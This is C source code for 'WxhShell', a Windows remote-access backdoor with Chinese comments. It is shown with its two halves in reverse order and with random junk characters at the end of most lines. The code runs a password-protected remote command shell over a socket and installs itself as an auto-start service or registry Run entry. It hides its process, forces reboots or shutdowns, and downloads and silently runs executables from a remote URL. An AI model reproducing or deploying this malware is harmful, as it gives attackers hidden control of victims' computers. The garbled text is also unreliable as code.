    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B'v~0Kau  
    if(Boot(SHUTDOWN)) 3 ,f3^A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxQgX~'x  
    else { V<i_YLYmJe  
    closesocket(wsh); <~Oy3#{  
    ExitThread(0); AX]cM)w  
    } 1KadT7<0}  
    break; @$|8zPs  
    } "(YfvO+  
  // 获取shell #z5$_z?_  
  case 's': { so>jz@!EE  
    CmdShell(wsh); ]@6L,+W"  
    closesocket(wsh); 98rO]rg  
    ExitThread(0); RI3GAd  
    break; Gspb\HJ^  
  } pt%*Y.)az  
  // 退出 !"LFeqI$lr  
  case 'x': { 0O!A8FA0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =.]{OT  
    CloseIt(wsh); |Kq<}R  
    break; aT~=<rEDy  
    } iOB*K)U1  
  // 离开 $Xr4=9(|7  
  case 'q': { ;r BbLM`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FmhT^  
    closesocket(wsh); s>I~%+V.?:  
    WSACleanup(); W) ?s''WE;  
    exit(1); F|&%Z(@a  
    break; n #S?fsQN  
        } :I2spBx  
  } )E*-  
  } Kw =RqF  
FM"[:&>  
  // 提示信息 1l s8h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~hb;kc3  
} 8 +mW  
  } +62}//_?  
 (,R\6  
  return; A\})H  
} 7?ILmYBw  
0C4Os p  
// shell模块句柄 jGUegeq  
int CmdShell(SOCKET sock) b=kY9!GN,v  
{ L>n^Q:M  
STARTUPINFO si; "#8I &xZK  
ZeroMemory(&si,sizeof(si)); zXW;W$7V4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dn48?A[v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~IFafAO&  
PROCESS_INFORMATION ProcessInfo; |)OC1=As  
char cmdline[]="cmd"; #!C|~=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5^N y6t  
  return 0; OyQ[}w3o|  
} ~cf)wrP  
ETm:KbS  
// 自身启动模式 lXRB"z  
int StartFromService(void) MM*9Q`cB  
{ E <N%  
typedef struct T>irW(  
{ ? CU;  
  DWORD ExitStatus; R(s[JH(&  
  DWORD PebBaseAddress; W/.n R[!  
  DWORD AffinityMask; I2gSgv%  
  DWORD BasePriority; J4Ca0Ag  
  ULONG UniqueProcessId; m A('MS2  
  ULONG InheritedFromUniqueProcessId; blUS6"kV}  
}   PROCESS_BASIC_INFORMATION; 3uL$+F  
epI~w  
PROCNTQSIP NtQueryInformationProcess; ddY-F }z~  
$S^rKp#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LhSXz>AX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c~= {A  
D7Y?$=0ycb  
  HANDLE             hProcess; 69 J4p=c,  
  PROCESS_BASIC_INFORMATION pbi; I:WPP'L4o  
a1x].{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v 8TNBsEL  
  if(NULL == hInst ) return 0; S`& yVzv  
k>=wwPy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >:OP+Vc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AMN`bgxW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _ucixM#  
^97[(89G9  
  if (!NtQueryInformationProcess) return 0; I7C+XUQkQ  
,=2)1I]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dKmPKeJM  
  if(!hProcess) return 0; Lr Kx  
RN$q,f[#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MEOfVh  
r;O?`~2'4  
  CloseHandle(hProcess); M"foP@  
Mo]iVj8~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Qh%Z)  
if(hProcess==NULL) return 0; knzQ)iv&&  
]''tuo2g8  
HMODULE hMod; bd3>IWihp  
char procName[255]; #fF D|q  
unsigned long cbNeeded; tPDB'S:&3  
X^C $|:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]j.!   
w$`u_P|@E:  
  CloseHandle(hProcess); }mS Q!"f:  
ltHuN;C\  
if(strstr(procName,"services")) return 1; // 以服务启动 n.A*(@noe  
xOZvQ\%  
  return 0; // 注册表启动 Q;@w\_ OR  
}  HS|x  
xEB 4oQ5  
// 主模块 v%QC p  
int StartWxhshell(LPSTR lpCmdLine) <#~n+,  
{  aqwW`\  
  SOCKET wsl; Lve$H(GHT  
BOOL val=TRUE; BbI),iP  
  int port=0; }dSFv   
  struct sockaddr_in door; nb@<UbabW}  
ZRUAw,T*  
  if(wscfg.ws_autoins) Install(); 4VzSqb  
tfv@ )9  
port=atoi(lpCmdLine); fVq,?  
YGi_7fTyc=  
if(port<=0) port=wscfg.ws_port; F|&mxsL  
M+4S>Sjw  
  WSADATA data; M<@9di7c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r?x~`C  
z=LO$,JW`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '=IuwCB|;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G+iJS!=  
  door.sin_family = AF_INET; B,Jn.YX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l4OPzNc'  
  door.sin_port = htons(port); *}LQZFrnX  
_K~?{".  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R xWD>:  
closesocket(wsl); bL5dCQxty  
return 1; S1!_ IK$m  
} %;`3I$  
V{0V/Nv  
  if(listen(wsl,2) == INVALID_SOCKET) { -Q!?=JNtQ  
closesocket(wsl); ezd@>(hJ  
return 1; Kw>gg  
} 4;w# mzd  
  Wxhshell(wsl); _xdttO^N  
  WSACleanup(); ;~s@_}&  
dRTpGz  
return 0; Q1 vse  
)sapUnqrlR  
} C%'eF`  
qj?I*peK)  
// 以NT服务方式启动 wJF$<f7P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UOI Z8Po  
{ <7X+-%yb;  
DWORD   status = 0; Rh7=,=u  
  DWORD   specificError = 0xfffffff; tQ4{:WPG  
y] ~X{v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xX])IZ D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i4 tW8 Il  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5?|PC.  
  serviceStatus.dwWin32ExitCode     = 0; ::8E?c  
  serviceStatus.dwServiceSpecificExitCode = 0; CY9`HQ1  
  serviceStatus.dwCheckPoint       = 0; FD}>}fLv  
  serviceStatus.dwWaitHint       = 0; g/,O51f'  
k_Edug~B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dk2o>jI4;  
  if (hServiceStatusHandle==0) return; SiJX5ydz  
q}5&B =2pM  
status = GetLastError(); PiIILX{DuH  
  if (status!=NO_ERROR) /XW,H0pR  
{ 2qkC{klC^M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o6;VrpaNi  
    serviceStatus.dwCheckPoint       = 0; GG_A'eX:I  
    serviceStatus.dwWaitHint       = 0; ?Qs>L~  
    serviceStatus.dwWin32ExitCode     = status; YCQ+9  
    serviceStatus.dwServiceSpecificExitCode = specificError; #D!3a%u0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dkbKnY&  
    return; F[OBPPQ3  
  } kC[nY  
|zL.PS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xq%!(YD|  
  serviceStatus.dwCheckPoint       = 0; KBGJB`D*  
  serviceStatus.dwWaitHint       = 0; uO-R:MC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /h%MWCZWm^  
} :hxZ2O?5_  
@)8C  
// 处理NT服务事件,比如:启动、停止 h-h}NCP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jh:-<xy)  
{ 3'2}F%!Mv  
switch(fdwControl) oAp I/o  
{   s/'gl  
case SERVICE_CONTROL_STOP: & ~[%N O  
  serviceStatus.dwWin32ExitCode = 0; Wkv **X}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Afa{f}st  
  serviceStatus.dwCheckPoint   = 0; JXnPKAN  
  serviceStatus.dwWaitHint     = 0; O^gq\X4}  
  { PZl(S}VY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =U".L  
  } ]QU52R@M  
  return; Onoi6^G  
case SERVICE_CONTROL_PAUSE: s ^{j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jq`fD~(7  
  break; V1;Qt-i  
case SERVICE_CONTROL_CONTINUE: +e"}"]n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Au+mIN  
  break; i]LK,'  
case SERVICE_CONTROL_INTERROGATE: \9k{"4jX\  
  break; 4%j&]PASa1  
}; |qNrj~n@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LGCL*Qbsg  
} Sb[rSczS~  
@;,O V&XYn  
// 标准应用程序主函数 0+:.9*g=k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @]#+`pZ4A  
{ ~K],hi^<P  
9e :E% 2  
// 获取操作系统版本 (*fsv g~  
OsIsNt=GetOsVer(); l7J_s?!j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p N]Hp"v  
)x|BY>  
  // 从命令行安装 |:r/K  
  if(strpbrk(lpCmdLine,"iI")) Install(); |I+E`,n"b  
y!!+IeReS  
  // 下载执行文件 PvT8XSlTx!  
if(wscfg.ws_downexe) { D&9j$#9Rh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Ucyxpu~$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ::T<de7  
} 6eK^T=  
JkxS1  
if(!OsIsNt) { FvI`S>  
// 如果时win9x,隐藏进程并且设置为注册表启动 L kq>>?T=  
HideProc(); (Fgt#H(B  
StartWxhshell(lpCmdLine); Jp-ae0 Ewa  
} X)f"`$  
else |f?C*t',  
  if(StartFromService()) *u{.K:.I  
  // 以服务方式启动 g&E_|}u4  
  StartServiceCtrlDispatcher(DispatchTable); LMG\jc?,  
else C${TC+z  
  // 普通方式启动 N[+dX_h  
  StartWxhshell(lpCmdLine); =;/h{ t  
usTCn3u  
return 0; V!<#E)-?<  
} l*:p==  
S8)awTA9  
.RWBn~b#I  
tl^[MLQa  
=========================================== &s<  
E0DEFB  
eXaDx%mM  
Rt:PW}rFf  
-<O:isB   
zuPH3Q={  
" KnFbRhu[  
#EM'=Q%TO  
#include <stdio.h> #129 i2  
#include <string.h> #dfW1@m  
#include <windows.h> y14@9<~9  
#include <winsock2.h> pq&c]8H  
#include <winsvc.h> _INUJc  
#include <urlmon.h> TnaIRJ\B  
aBC[(}Pb]  
#pragma comment (lib, "Ws2_32.lib") YaT07X.(b  
#pragma comment (lib, "urlmon.lib") ha),N<'  
~3Y NHm6V  
#define MAX_USER   100 // 最大客户端连接数 LGMFv  
#define BUF_SOCK   200 // sock buffer fIcv}Y  
#define KEY_BUFF   255 // 输入 buffer E0pQRGPA  
t]o gn(  
#define REBOOT     0   // 重启 l&A`  
#define SHUTDOWN   1   // 关机 :gVjBF2  
(os7Q?  
#define DEF_PORT   5000 // 监听端口 ]\ezES  
3U`.:w`  
#define REG_LEN     16   // 注册表键长度 `3:%F>  
#define SVC_LEN     80   // NT服务名长度 k1H0hDE  
Vi|jkyC8  
// 从dll定义API m#eD v*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yEny2q}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -&A[{m<,>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mww]l[1'EL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D{l((t3=T  
.0|J+D  
// wxhshell配置信息 yW&i Uh=0  
struct WSCFG { j&pgq2Kl  
  int ws_port;         // 监听端口 .2P?1HpK  
  char ws_passstr[REG_LEN]; // 口令 6J*`<k/ S  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y"jDZG?  
  char ws_regname[REG_LEN]; // 注册表键名 'x0t, ;g  
  char ws_svcname[REG_LEN]; // 服务名 !!86Sv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I{PN6bn{>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W<L6,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^hgAgP{{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dn3~8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @i h}x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $g};u[y  
#50)DwD  
}; %ze1ZWO{  
7. .vaq#  
// default Wxhshell configuration K0g:Q*J-  
struct WSCFG wscfg={DEF_PORT, j5O*H_D  
    "xuhuanlingzhe", \d+HYLAJn  
    1, bH{aI:9Fb  
    "Wxhshell", c" 7pf T  
    "Wxhshell", gsp 7N  
            "WxhShell Service", 9-^p23.@[j  
    "Wrsky Windows CmdShell Service", ftPw6  
    "Please Input Your Password: ", QA(,K}z~^S  
  1, ^IpiNY/%Q  
  "http://www.wrsky.com/wxhshell.exe", 1#<E]<='t  
  "Wxhshell.exe" }(K6 YL  
    }; bZXNo  
/<$"c"UQ  
// 消息定义模块 d"UW38K{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,no:6&#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WL Lv a<{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $hQg+nY.  
char *msg_ws_ext="\n\rExit."; Snu;5:R  
char *msg_ws_end="\n\rQuit."; sJ/e=1*  
char *msg_ws_boot="\n\rReboot..."; g8"7wf`0k  
char *msg_ws_poff="\n\rShutdown..."; h12wk2@P/]  
char *msg_ws_down="\n\rSave to "; U08?*{  
i 8Xz  
char *msg_ws_err="\n\rErr!"; ~a%hRJg  
char *msg_ws_ok="\n\rOK!"; RKkI/Z0  
Vcq?>mH&T  
char ExeFile[MAX_PATH]; B,833Azi  
int nUser = 0; A*~1Uz\t  
HANDLE handles[MAX_USER]; Bedjw =B  
int OsIsNt; ]P$DAi   
<\g&%c,   
SERVICE_STATUS       serviceStatus; :(`>bY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CJixK>Y^  
~bTae =FP  
// 函数声明 -<!17jy  
int Install(void); 1>VS/H`  
int Uninstall(void); p8dn-4  
int DownloadFile(char *sURL, SOCKET wsh); c$kb0VR  
int Boot(int flag); ON0+:`3\  
void HideProc(void); Q; /F0JDH  
int GetOsVer(void); *v ^"4  
int Wxhshell(SOCKET wsl); Sp,Q,Q4  
void TalkWithClient(void *cs); %i>e  
int CmdShell(SOCKET sock); !(K{*7|h  
int StartFromService(void); b6vYM_ Q  
int StartWxhshell(LPSTR lpCmdLine); -0 da"AB  
oB R(7U ~0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  MK"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zw][c7%  
&AcFa<U  
// 数据结构和表定义 #L:P R>  
SERVICE_TABLE_ENTRY DispatchTable[] = "q^'5p]  
{ BQ&q<6Tk  
{wscfg.ws_svcname, NTServiceMain}, V )k, 9=  
{NULL, NULL} y32++b!  
}; N%A`rY}u  
y!N)@y4  
// 自我安装 ai jGz<  
int Install(void) LIC~Kehi  
{ l\;mP.!  
  char svExeFile[MAX_PATH]; G5#}Ed4  
  HKEY key; )?&kQ^@v  
  strcpy(svExeFile,ExeFile); Y;F R"~^  
?s)sPM?  
// 如果是win9x系统,修改注册表设为自启动 1`]IU_)1B  
if(!OsIsNt) { <-:@} |br  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  7EP|X.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]esLAo  
  RegCloseKey(key); Gj19KQ1G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a@y5JxFAy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +c8AbEewg  
  RegCloseKey(key); Y\e]2  
  return 0; ,/`E|eG1G  
    } C!{AnWf  
  } iEVA[xy=D  
} | 58 !A]  
else { YB B$uGA  
,&&M|,NQ&s  
// 如果是NT以上系统,安装为系统服务 ob0 8xGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V<2fPDZ  
if (schSCManager!=0) w;@25= |  
{ /rxltF3  
  SC_HANDLE schService = CreateService JkDPuTXD  
  ( #;LMtDaL  
  schSCManager, L\m!8o4  
  wscfg.ws_svcname, ^ ]qV8  
  wscfg.ws_svcdisp, OZ'.}((?n  
  SERVICE_ALL_ACCESS, M2E87w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vk)0n=  
  SERVICE_AUTO_START, 0 \Yx.\X,  
  SERVICE_ERROR_NORMAL, =ym  
  svExeFile, 4^[}]'w  
  NULL, aaz"`,7_  
  NULL, +'['HQ)  
  NULL, \q|7,S,5  
  NULL, (#B^Hyz!  
  NULL 6{+_T  
  ); P% +or*  
  if (schService!=0) Wda\a.bXT  
  { P"9@8aLB  
  CloseServiceHandle(schService); vDW&pF_eI>  
  CloseServiceHandle(schSCManager); 3Wb2p'V7$?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +*_fN ]M  
  strcat(svExeFile,wscfg.ws_svcname); )'!ml  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kV\-%:-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ue3B+k9w  
  RegCloseKey(key); ?S@R~y0K  
  return 0; }-{b$6]  
    } `[@^m5?b-  
  } te;Ox!B&  
  CloseServiceHandle(schSCManager); @0ov!9]Rw-  
} &cu] vw  
} *hZ~i{c,7  
N$%61GiulT  
return 1; Y$x"4=~  
} n4WSV  
nEd M_JPv  
// 自我卸载 Qb?y@>-[  
int Uninstall(void) OgKWgvy  
{ <+\k&W&Y|y  
  HKEY key; ~TG39*m  
a*6wSAA )  
if(!OsIsNt) { R5K-KSvW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u%=bHg  
  RegDeleteValue(key,wscfg.ws_regname); niYz9YX  
  RegCloseKey(key); bk7^%O>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &gWMl`3^*!  
  RegDeleteValue(key,wscfg.ws_regname); @TA8^ND  
  RegCloseKey(key); JN&MyA"  
  return 0; m)@Q_{=6M  
  } >G<\1R  
} N a. nA  
} KP=D! l&q  
else { v~V;+S=gz  
X:G& 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QJ a4R  
if (schSCManager!=0) -_2Dy1  
{ dd \bI_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [xtK"E#  
  if (schService!=0) |"CJ  
  { AZxrJ2G  
  if(DeleteService(schService)!=0) { 0{0;1.ZP  
  CloseServiceHandle(schService); PyC;f8n'(  
  CloseServiceHandle(schSCManager); ;48P vw>g}  
  return 0; @[d#mz  
  } N 8:"&WM  
  CloseServiceHandle(schService); ezcS[r  
  } 7.Ml9{M/i  
  CloseServiceHandle(schSCManager); <`c25ih.4  
} v9E+(4I9_  
} &<gUFcw7Ui  
|.b%rVu  
return 1; rDIhpT)a  
} K08 iPIkQ  
Cq?',QU6j  
// 从指定url下载文件 d[Rb:Y w  
int DownloadFile(char *sURL, SOCKET wsh) |h^K M  
{ 2f3=?YqD  
  HRESULT hr; v7 8&[  
char seps[]= "/"; +"YTCzv;t  
char *token; 8?e   
char *file; hz< |W5  
char myURL[MAX_PATH]; ulH0%`Fi  
char myFILE[MAX_PATH]; \R86;9ov  
@Pxw hlxa  
strcpy(myURL,sURL); DH\wDQ  
  token=strtok(myURL,seps); a?zR8$t|  
  while(token!=NULL) !Z U_,[  
  { "?i>p z  
    file=token; 5U0ytDZ2/(  
  token=strtok(NULL,seps); '"` Lv/  
  } [#7y[<.P  
lir &e 9I+  
GetCurrentDirectory(MAX_PATH,myFILE); D3%l4.h  
strcat(myFILE, "\\"); T@(6hEmP,  
strcat(myFILE, file); LKqRvPnh  
  send(wsh,myFILE,strlen(myFILE),0); R'G'&H{N  
send(wsh,"...",3,0); xik`W!1S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <9@&oN+T  
  if(hr==S_OK) =a?a@+  
return 0; ':,>eL#+uV  
else 5Xwk*@t2a  
return 1; /GsSrP_?]  
o*%3[HmV  
} *Jb_=j*)  
&}zRH}s;  
// 系统电源模块 w`M]0'zls  
int Boot(int flag) OYBotk]{1  
{ M'^(3#ZU  
  HANDLE hToken; C0zrXhY_v  
  TOKEN_PRIVILEGES tkp; @ (i*-u3Tq  
jZrY=f  
  if(OsIsNt) { M|U';2hZN:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -{!&/;Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &c20x+  
    tkp.PrivilegeCount = 1; ZR1+ O 8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LPq2+:JpS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DXKyRkn6e  
if(flag==REBOOT) { Ip>^O/}$1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9U]pH%.9  
  return 0; DeA@0HOxh  
} }g}6qCv7  
else { 3nwz<P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !loO%3_)  
  return 0; <E"*)Oi  
} lNHNL a>W  
  } ]X*YAPv  
  else { 9^oo-,Su_  
if(flag==REBOOT) { y0;,dv]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /a%*u6z@  
  return 0; 9QX4R<"wUg  
} l#Yx TY  
else { 7k>zuzRyF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q5g,7ac8L  
  return 0; K~USK?Q%  
} CP +4k.)*O  
} Wt(Kd5k0'2  
?;Un#6b  
return 1; -zprNQW  
} R3$@N  
.Nc_n5D6  
// win9x进程隐藏模块 -=}b;Kf -  
void HideProc(void) rWJ*e Y  
{ \kxh#{$z?  
TNx_Rc}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~+<<bzY  
  if ( hKernel != NULL ) g+.0c=G(  
  { T\jAk+$Jo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mIRAS"Q!m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C}9Kx }q  
    FreeLibrary(hKernel); .U<F6I:<md  
  } C]/&vh7ta  
FK6K6wU52m  
return; k'x #t(  
} D 0  
HQl~Dh0DJ  
// 获取操作系统版本 2@fa rx:  
int GetOsVer(void) +1x)z~q=  
{ zFOL(s.h|0  
  OSVERSIONINFO winfo; !Pw$48cg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q=njKC  
  GetVersionEx(&winfo); "i&fp:E0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |IAW{_9)U  
  return 1; +Jdm #n?_  
  else +uELTHH=  
  return 0; /0 _zXQyV  
} (oF-O{  
oQ{cSThj  
// 客户端句柄模块 =C#*!N73  
int Wxhshell(SOCKET wsl) G&jZ\IV  
{ r( M[8@Nz  
  SOCKET wsh; ~ibF M5m  
  struct sockaddr_in client; of=ql  
  DWORD myID; )&Mq,@  
Uh}+"h5  
  while(nUser<MAX_USER) P0)AU i  
{ lr0M<5d=p  
  int nSize=sizeof(client); w]F!2b!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >4~#%&  
  if(wsh==INVALID_SOCKET) return 1; pD[pTMG@$  
(V!0'9c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3 &Sp@,  
if(handles[nUser]==0) JDKLKHOMZ  
  closesocket(wsh); u (AA`S"  
else 9ZhDZ~)p,  
  nUser++; i+I0k~wY  
  } $C$ub&D ~"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mVt3WZa  
?;_O 9  
  return 0; UG #X/%p  
} {l@WCR  
n_}aZB3;U  
// 关闭 socket %XR<isn  
void CloseIt(SOCKET wsh) ~TM>"eBb  
{ -zdmr"CA  
closesocket(wsh); PV(4$I}  
nUser--; z-I|h~ii  
ExitThread(0); hVkO%]?  
} [Teh*CV  
>e/ r2U  
// 客户端请求句柄 z>p]/Sa  
void TalkWithClient(void *cs) ++0rF\&  
{ ZL,8,;]  
>4M<W4  
  SOCKET wsh=(SOCKET)cs; yuv4*  
  char pwd[SVC_LEN]; "|hlDe<  
  char cmd[KEY_BUFF]; 8+ hhdy*b  
char chr[1]; ` .$&T7  
int i,j; 14-]esSa  
dWUUxKC  
  while (nUser < MAX_USER) { h9jc,X u5X  
Sk$KqHX(  
if(wscfg.ws_passstr) { Fv A8T 2-v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _N@(Y:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<gMUDB  
  //ZeroMemory(pwd,KEY_BUFF); /=@e &e  
      i=0; MOeoU1Hn  
  while(i<SVC_LEN) { Qh8C,"a  
5VZjDg?  
  // 设置超时  ,Y-S(  
  fd_set FdRead; X|'2R^V.  
  struct timeval TimeOut; %{"dP%|w4}  
  FD_ZERO(&FdRead); 7f* RM  
  FD_SET(wsh,&FdRead); r>O|L%xpv  
  TimeOut.tv_sec=8; \OY}GRKt  
  TimeOut.tv_usec=0; /?U!y?t&@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2lo:a{}j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |EEi&GOR(y  
QXY}STs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7D9]R#-K  
  pwd=chr[0]; ]Zk}ZG>6  
  if(chr[0]==0xd || chr[0]==0xa) { o[^Q y(2~  
  pwd=0; -yl;3K]l  
  break; }uiPvO+&p  
  } "&<~UiI  
  i++; &(7$&Q  
    } V:>`*tlh  
d'OGVN  
  // 如果是非法用户,关闭 socket USFg_sO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 87}(AO)  
} #N9d$[R*  
N%u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yv=g^tw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T%~SM5  
`2e_ L  
while(1) { -N4z-ozhC  
GXYj+ qJ  
  ZeroMemory(cmd,KEY_BUFF); _r5wF(Y?7  
#9,=Owup  
      // 自动支持客户端 telnet标准   \4QH/e  
  j=0; B\0t&dai|'  
  while(j<KEY_BUFF) { %6HX*_Mr&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?;RD u[eD  
  cmd[j]=chr[0]; ^RDU p5,T  
  if(chr[0]==0xa || chr[0]==0xd) { _D JCsK|  
  cmd[j]=0; E-F5y  
  break; WUY,. 8  
  } RY<%'\A`~  
  j++; ckWkZ 78\  
    } `M0YAiG  
( OXY^iq  
  // 下载文件  p[Hr39o  
  if(strstr(cmd,"http://")) { ~ k<SbFp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6klD22b2$  
  if(DownloadFile(cmd,wsh)) HzEGq,.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/<|f,2  
  else F|*tNJU>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); --A&TV  
  } $P;UoqG<&  
  else { Man^<T%F  
Xb0!( (A  
    switch(cmd[0]) { 8t=3  
